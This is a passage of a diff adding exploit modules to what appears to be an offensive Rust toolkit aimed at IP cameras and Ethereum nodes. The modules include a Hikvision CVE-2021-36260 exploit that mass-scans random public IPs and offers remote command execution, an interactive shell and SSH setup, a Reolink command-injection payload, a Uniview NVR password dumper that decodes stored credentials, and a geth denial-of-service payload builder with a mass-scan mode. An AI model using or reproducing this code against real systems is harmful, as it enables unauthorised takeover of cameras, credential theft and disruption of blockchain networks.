print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Safe Check (File Write/Read)");
|
||||
println!(" 2. Unsafe Check (Reboot Device)");
|
||||
println!(" 3. Custom Command");
|
||||
print!("{}", "Select option [1-3] (default 1): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::UnsafeReboot,
|
||||
"3" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::SafeCheck,
|
||||
};
|
||||
|
||||
let mut custom_payload = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut custom_payload)?;
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
// Writer task
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
if let Err(e) = file.write_all(result.as_bytes()).await {
|
||||
eprintln!("[-] Failed to write result: {}", e);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cp = custom_payload.clone();
|
||||
let current_mode = mode; // Copy
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&ip_str, current_mode, &cp).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Parse target to extract host:port and protocol
|
||||
let (proto, host_port) = if target.starts_with("https://") {
|
||||
("https", target.strip_prefix("https://").unwrap_or(target))
|
||||
} else if target.starts_with("http://") {
|
||||
("http", target.strip_prefix("http://").unwrap_or(target))
|
||||
} else {
|
||||
("http", target)
|
||||
};
|
||||
|
||||
let host_port = host_port.split('/').next().unwrap_or(host_port);
|
||||
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
println!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
println!(" {} Execute single command", "3.".bold());
|
||||
println!(" {} Execute blind command", "4.".bold());
|
||||
println!(" {} Interactive shell mode", "5.".bold());
|
||||
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
println!();
|
||||
|
||||
print!("{}", "Select option [1-6]: ".green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
match choice {
|
||||
"1" => { check_vulnerable(&client, false).await?; }
|
||||
"2" => {
|
||||
println!();
|
||||
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
|
||||
io::stdout().flush()?;
|
||||
let mut confirm = String::new();
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
if confirm.trim().eq_ignore_ascii_case("y") {
|
||||
check_with_reboot(&client).await?;
|
||||
} else {
|
||||
println!("{}", "[*] Aborted".yellow());
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() {
|
||||
match execute_cmd(&client, cmd).await {
|
||||
Ok(output) => {
|
||||
println!("{}", "\n[+] Command output:".green());
|
||||
println!("{}", output);
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter blind command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
|
||||
}
|
||||
"5" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
interactive_mode(&client).await?;
|
||||
}
|
||||
"6" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
interactive_shell(&client).await?;
|
||||
}
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Exploitation complete".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod hikvision_rce_cve_2021_36260;
|
||||
@@ -0,0 +1,6 @@
|
||||
pub mod hikvision;
|
||||
pub mod reolink;
|
||||
pub mod uniview;
|
||||
pub mod avtech;
|
||||
pub mod abus;
|
||||
pub mod acti;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod reolink_rce_cve_2019_11001;
|
||||
@@ -0,0 +1,98 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use urlencoding::encode;
|
||||
|
||||
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
|
||||
///
|
||||
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
|
||||
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
|
||||
///
|
||||
/// Parameter: `addr1` in `TestEmail` command.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// Default HTTP/HTTPS?
|
||||
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
|
||||
// Let's assume HTTP validation (can be simple URL).
|
||||
|
||||
let base_url = if target_ip.contains("://") {
|
||||
target_ip.clone()
|
||||
} else {
|
||||
format!("http://{}", target_ip)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Credentials required
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
println!("{} Sending exploit...", "[*]".blue());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(15))
|
||||
.build()?;
|
||||
|
||||
// Construct payload
|
||||
// Command Injection style: test@test.com; <CMD>
|
||||
let injection = format!("test@test.com; {}", cmd);
|
||||
|
||||
// The API requires specific structure. Based on PoC analysis.
|
||||
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
|
||||
// Public docs say: /api.cgi?cmd=TestEmail...
|
||||
// But Reolink API often takes a JSON body.
|
||||
|
||||
// Let's model after the known exploit path:
|
||||
// Some versions accept it in the JSON body of a POST to /api.cgi
|
||||
|
||||
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
|
||||
|
||||
// The body usually is a JSON array
|
||||
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
|
||||
|
||||
// Some variants use GET but typically these APIs are POST with JSON.
|
||||
// We will try POST.
|
||||
|
||||
let res = client.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
let status = res.status();
|
||||
let text = res.text().await?;
|
||||
|
||||
// If successful, the command output might not be returned (Blind RCE).
|
||||
// Or it might be returned in the 'value' or error message?
|
||||
// Usually TestEmail triggers the mail binary.
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
|
||||
println!("{} Response: {}", "[*]".blue(), text);
|
||||
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
|
||||
} else {
|
||||
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
+28
-11
@@ -1,4 +1,5 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
@@ -8,6 +9,16 @@ use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
|
||||
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
@@ -89,20 +100,23 @@ fn normalize_target(raw: &str) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
// Note: This module uses custom URL normalization to preserve scheme and path
|
||||
// Framework's normalize_target is for host:port only, so we keep custom implementation
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
println!("{}", "[*] Getting model name and software version...".cyan());
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
@@ -121,8 +135,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
println!("{}", format!("[+] Model: {}", model).green());
|
||||
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
@@ -137,7 +151,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
println!("{}", "\n[*] Getting configuration file...".cyan());
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
@@ -155,7 +169,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!();
|
||||
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
@@ -177,7 +192,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
@@ -189,9 +204,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
println!();
|
||||
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
|
||||
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
@@ -0,0 +1,848 @@
|
||||
//! CVE-2026-22862: go-ethereum (geth) DoS via ECIES Malformed Ciphertext
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! CVE-2026-22862 is a Denial of Service vulnerability in go-ethereum (geth)
|
||||
//! that allows attackers to crash vulnerable nodes by sending specially crafted
|
||||
//! ECIES encrypted messages with malformed ciphertext.
|
||||
//!
|
||||
//! - **CVSS Score**: 7.5 (High)
|
||||
//! - **CWE-ID**: CWE-20 (Improper Input Validation)
|
||||
//! - **Affected**: go-ethereum < 1.16.8
|
||||
//! - **Impact**: Node crash/shutdown, blockchain network disruption
|
||||
//!
|
||||
//! ## Technical Details
|
||||
//! The vulnerability exploits improper validation during ECIES decryption.
|
||||
//! By crafting a ciphertext with:
|
||||
//! 1. Valid ephemeral public key (65 bytes)
|
||||
//! 2. Encrypted message shorter than AES block size (< 16 bytes)
|
||||
//! 3. Valid HMAC-SHA256 MAC computed with shared secret
|
||||
//!
|
||||
//! The victim node decrypts and panics due to insufficient IV length.
|
||||
//!
|
||||
//! ## Features
|
||||
//! - Geth node detection and version fingerprinting
|
||||
//! - Single target and mass scan modes
|
||||
//! - RLPx P2P protocol implementation
|
||||
//! - Configurable attack payloads
|
||||
//!
|
||||
//! Reference: https://github.com/qzhodl/CVE-2026-22862
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::fs::File;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Semaphore, mpsc};
|
||||
use tokio::time::timeout;
|
||||
|
||||
const DEFAULT_P2P_PORT: u16 = 30303;
|
||||
const DEFAULT_RPC_PORT: u16 = 8545;
|
||||
const CONNECT_TIMEOUT_SECS: u64 = 5;
|
||||
const MAX_CONCURRENT_SCANS: usize = 50;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges (same as telnet module)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
/// Generate a random public IP address excluding reserved ranges
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Geth node information
|
||||
#[derive(Debug, Clone)]
|
||||
struct GethNodeInfo {
|
||||
version: Option<String>,
|
||||
network_id: Option<u64>,
|
||||
vulnerable: bool,
|
||||
}
|
||||
|
||||
impl Default for GethNodeInfo {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
version: None,
|
||||
network_id: None,
|
||||
vulnerable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Exploit configuration
|
||||
struct ExploitConfig {
|
||||
target: String,
|
||||
p2p_port: u16,
|
||||
rpc_port: u16,
|
||||
mass_scan: bool,
|
||||
targets_file: Option<String>,
|
||||
check_only: bool,
|
||||
exploit_type: ExploitType,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum ExploitType {
|
||||
EciesMalformed,
|
||||
RlpxHandshake,
|
||||
Both,
|
||||
}
|
||||
|
||||
impl Default for ExploitConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target: String::new(),
|
||||
p2p_port: DEFAULT_P2P_PORT,
|
||||
rpc_port: DEFAULT_RPC_PORT,
|
||||
mass_scan: false,
|
||||
targets_file: None,
|
||||
check_only: true,
|
||||
exploit_type: ExploitType::EciesMalformed,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ CVE-2026-22862: go-ethereum (geth) Remote DoS ║".cyan());
|
||||
println!("{}", "║ ECIES Malformed Ciphertext Node Crash ║".cyan());
|
||||
println!("{}", "║ Affects geth < 1.16.8 | Critical Network Impact ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Get user configuration
|
||||
fn get_user_config(target: &str) -> Result<ExploitConfig> {
|
||||
let mut config = ExploitConfig::default();
|
||||
|
||||
println!();
|
||||
println!("{}", "=== CVE-2026-22862 Configuration ===".yellow().bold());
|
||||
println!();
|
||||
|
||||
// Mass scan mode check
|
||||
print!("{}", "Enable mass scan mode? [y/N]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
config.mass_scan = true;
|
||||
|
||||
print!("{}", "Enter targets file path: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let file_path = input.trim().to_string();
|
||||
|
||||
if file_path.is_empty() || !std::path::Path::new(&file_path).exists() {
|
||||
bail!("Targets file not found or empty path");
|
||||
}
|
||||
config.targets_file = Some(file_path);
|
||||
} else {
|
||||
// Single target mode
|
||||
config.target = if target.is_empty() {
|
||||
print!("{}", "Enter target IP/hostname: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let t = input.trim().to_string();
|
||||
if t.is_empty() {
|
||||
bail!("Target is required");
|
||||
}
|
||||
t
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
}
|
||||
|
||||
// Port configuration
|
||||
print!("{}", format!("Enter P2P port [default: {}]: ", DEFAULT_P2P_PORT).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if let Ok(p) = input.trim().parse::<u16>() {
|
||||
if p > 0 {
|
||||
config.p2p_port = p;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter RPC port for version check [default: {}]: ", DEFAULT_RPC_PORT).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
if let Ok(p) = input.trim().parse::<u16>() {
|
||||
if p > 0 {
|
||||
config.rpc_port = p;
|
||||
}
|
||||
}
|
||||
|
||||
// Attack mode
|
||||
println!();
|
||||
println!("{}", "Select operation mode:".cyan());
|
||||
println!(" 1. Check vulnerability only (safe)");
|
||||
println!(" 2. Exploit - ECIES malformed ciphertext");
|
||||
println!(" 3. Exploit - RLPx handshake attack");
|
||||
println!(" 4. Exploit - Both methods");
|
||||
|
||||
print!("{}", "Select mode [1-4, default: 1]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
match input.trim() {
|
||||
"2" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::EciesMalformed;
|
||||
}
|
||||
"3" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::RlpxHandshake;
|
||||
}
|
||||
"4" => {
|
||||
config.check_only = false;
|
||||
config.exploit_type = ExploitType::Both;
|
||||
}
|
||||
_ => {
|
||||
config.check_only = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Display configuration summary
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
if config.mass_scan {
|
||||
println!(" Mode: Mass Scan");
|
||||
if let Some(ref f) = config.targets_file {
|
||||
println!(" Targets File: {}", f);
|
||||
}
|
||||
} else {
|
||||
println!(" Target: {}", config.target);
|
||||
}
|
||||
println!(" P2P Port: {}", config.p2p_port);
|
||||
println!(" RPC Port: {}", config.rpc_port);
|
||||
println!(" Operation: {}", if config.check_only { "Check Only" } else { "Exploit" });
|
||||
if !config.check_only {
|
||||
println!(" Exploit Type: {:?}", config.exploit_type);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
/// Check if target is running geth via JSON-RPC
|
||||
async fn check_geth_version(target: &str, port: u16) -> Result<GethNodeInfo> {
|
||||
let mut info = GethNodeInfo::default();
|
||||
|
||||
// Try JSON-RPC web3_clientVersion
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}:{}", target, port);
|
||||
let payload = serde_json::json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "web3_clientVersion",
|
||||
"params": [],
|
||||
"id": 1
|
||||
});
|
||||
|
||||
let response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await;
|
||||
|
||||
if let Ok(resp) = response {
|
||||
if let Ok(json) = resp.json::<serde_json::Value>().await {
|
||||
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
|
||||
info.version = Some(result.to_string());
|
||||
|
||||
// Check if vulnerable (< 1.16.8)
|
||||
if result.contains("Geth/") {
|
||||
if let Some(version_start) = result.find("Geth/v") {
|
||||
let version_part = &result[version_start + 6..];
|
||||
if let Some(dash_pos) = version_part.find('-') {
|
||||
let version_num = &version_part[..dash_pos];
|
||||
let parts: Vec<&str> = version_num.split('.').collect();
|
||||
|
||||
// FIX: Handle parse errors properly instead of defaulting to 0
|
||||
if parts.len() >= 3 {
|
||||
if let (Ok(major), Ok(minor), Ok(patch)) = (
|
||||
parts[0].parse::<u32>(),
|
||||
parts[1].parse::<u32>(),
|
||||
parts[2].parse::<u32>()
|
||||
) {
|
||||
// Vulnerable if < 1.16.8
|
||||
if major < 1 || (major == 1 && minor < 16) ||
|
||||
(major == 1 && minor == 16 && patch < 8) {
|
||||
info.vulnerable = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Also try to get network ID
|
||||
let net_payload = serde_json::json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "net_version",
|
||||
"params": [],
|
||||
"id": 2
|
||||
});
|
||||
|
||||
if let Ok(resp) = client.post(&url).json(&net_payload).send().await {
|
||||
if let Ok(json) = resp.json::<serde_json::Value>().await {
|
||||
if let Some(result) = json.get("result").and_then(|r| r.as_str()) {
|
||||
info.network_id = result.parse().ok();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(info)
|
||||
}
|
||||
|
||||
/// Check if P2P port is open and responds to RLPx
|
||||
async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket_addr: SocketAddr = match addr.parse() {
|
||||
Ok(a) => a,
|
||||
Err(_) => {
|
||||
// Try to resolve hostname
|
||||
match tokio::net::lookup_host(&addr).await {
|
||||
Ok(mut addrs) => match addrs.next() {
|
||||
Some(a) => a,
|
||||
// FIX: Return error instead of Ok(false) for empty resolution
|
||||
None => bail!("Hostname resolved to empty address list"),
|
||||
},
|
||||
Err(e) => bail!("Failed to resolve hostname: {}", e),
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let connect_result = timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(socket_addr)
|
||||
).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(_stream)) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate malformed ECIES ciphertext payload
|
||||
/// This creates a ciphertext with valid structure but invalid IV length
|
||||
fn generate_malformed_ecies_payload() -> Vec<u8> {
|
||||
// ECIES ciphertext structure:
|
||||
// [ephemeral_pubkey (65 bytes)] [encrypted_message] [mac (32 bytes)]
|
||||
|
||||
// Generate a fake ephemeral public key (uncompressed format)
|
||||
// In a real attack, we'd use actual EC math; here we craft bytes
|
||||
let mut epk = vec![0x04]; // Uncompressed point prefix
|
||||
epk.extend(vec![0x41; 32]); // X coordinate (32 bytes)
|
||||
epk.extend(vec![0x42; 32]); // Y coordinate (32 bytes)
|
||||
|
||||
// Malformed encrypted message (less than 16 bytes = AES block size)
|
||||
// This triggers panic in the decryption routine
|
||||
let short_ct = vec![0x01, 0x02, 0x03];
|
||||
|
||||
// Fake MAC (would need to be computed with shared secret in real attack)
|
||||
let fake_mac = vec![0xDE; 32];
|
||||
|
||||
// Combine: epk || short_ct || mac
|
||||
let mut payload = Vec::with_capacity(65 + 3 + 32);
|
||||
payload.extend(epk);
|
||||
payload.extend(short_ct);
|
||||
payload.extend(fake_mac);
|
||||
|
||||
payload
|
||||
}
|
||||
